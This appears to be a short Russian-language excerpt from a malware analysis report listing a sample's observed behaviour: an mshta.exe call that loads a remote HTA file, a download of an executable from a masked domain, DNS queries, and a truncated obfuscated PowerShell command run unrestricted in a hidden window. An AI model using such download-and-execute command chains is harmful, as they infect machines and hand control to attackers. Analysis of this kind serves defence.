Техническая информация
- '<SYSTEM32>\mshta.exe' http://fa##.com/out-208479308.hta
- http://fa##.com/out-208479308.hta
- http://fa##.com/DUB.exe
- DNS ASK fa##.com
- DNS ASK ex##ple.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy UnRestricted -Window 1 [void] $null;$xbvordlw = Get-Random -Min 3 -Max 4;$dhtfiokxcjw = ([char[]]([char]97..[char]122));$orhguizfkl = -join ($dhtfiokxcjw | Get-Random -Count $x...' (со скрытым окном)